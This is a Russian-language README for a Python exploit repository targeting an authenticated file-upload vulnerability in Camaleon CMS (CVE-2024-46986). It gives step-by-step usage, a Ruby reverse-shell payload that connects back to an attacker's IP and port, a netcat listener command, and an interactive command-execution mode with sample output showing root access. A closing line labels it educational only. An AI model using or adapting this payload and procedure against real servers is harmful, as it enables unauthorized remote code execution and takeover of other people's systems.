
Автоматизированный эксплойт на Python для уязвимости произвольной загрузки файлов в Camaleon CMS (CVE-2024-46986). Поддерживает полезные нагрузки для обратного шелла и выполнения команд для аутентифицированного удаленного выполнения кода.
Этот репозиторий содержит Python-скрипт, который автоматизирует эксплуатацию уязвимости загрузки файлов в Camaleon CMS. Уязвимость позволяет атакующему загружать произвольные файлы (например, Ruby-скрипты) на сервер, что потенциально может привести к удаленному выполнению кода (RCE) или другим серьезным последствиям для безопасности.
requests.Действительные учетные данные пользователя: Для работы эксплойта требуется аутентифицированная сессия. Вам понадобятся auth_token и действительного пользователя.
_cms_sessionPython 3.x: Убедитесь, что у вас установлен Python 3.x.
Библиотека Python requests: Установите библиотеку requests, если она еще не установлена.
pip install requests
Клонируйте репозиторий:
bash
https://github.com/vidura2/CVE-2024-46986.git cd CVE-2024-46986
Замените заполнители your_auth_token_here, your_session_token_here и https://target_site_here в Python-скрипте на реальные значения.
При использовании полезной нагрузки обратной оболочки также замените your_ip и your_port на ваш IP-адрес и порт, на котором вы настроите прослушиватель.
Обратная оболочка: Чтобы загрузить обратную оболочку, установите переменную payload_type в скрипте на "reverse_shell".
Выполнение команд: Чтобы загрузить скрипт, выполняющий системные команды, установите payload_type на "command_execution". Вы сможете многократно вводить команды для выполнения на целевом сервере.
bash
python exploit_camaleon.py
При использовании полезной нагрузки выполнения команд вы можете вводить несколько команд:
bash
Enter a system command to execute (or type 'exit' to quit): whoami
Enter a system command to execute (or type 'exit' to quit): ls
Enter a system command to execute (or type 'exit' to quit): exit
Типы полезной нагрузки
Полезная нагрузка обратной оболочки подключается обратно к машине атакующего, позволяя удаленно выполнять код на сервере.
Измените IP и порт в Ruby-скрипте внутри Python-кода.
Пример полезной нагрузки:
ruby
require 'socket' s = TCPSocket.open('your_ip', your_port) while (cmd = s.gets) IO.popen(cmd, 'r') do |io| s.print io.read end end
Настройте прослушиватель на вашей машине с помощью netcat:
bash
nc -lvnp <your_port>
2. Выполнение команд
Эта полезная нагрузка загружает Ruby-скрипт, который выполняет системные команды (например, whoami) на сервере. Вы можете многократно вводить команды во время выполнения.
Скрипт будет постоянно запрашивать команды, пока вы не введете exit.
Пример:
ruby
system("whoami")
Пример успешного эксплойта
После успешного выполнения эксплойта вы должны увидеть в терминале вывод, указывающий на успех:
python
Exploit executed successfully with payload type: reverse_shell!
Если вы используете обратную оболочку, прослушиватель netcat должен предоставить вам доступ к оболочке скомпрометированного сервера.
Для полезной нагрузки выполнения команд:
bash
Enter a system command to execute (or type 'exit' to quit): whoami Command 'whoami' executed successfully! Response: root
Этот скрипт предназначен только для образовательных целей. Автор не несет ответственности за любое неправильное использование или ущерб, вызванный этим эксплойтом. Всегда убедитесь, что у вас есть разрешение перед тестированием или эксплуатацией уязвимостей.
Не стесняйтесь отправлять вопросы или запросы на добавление новых функций или улучшений!
Этот проект лицензирован по лицензии MIT - подробнее см. в файле LICENSE.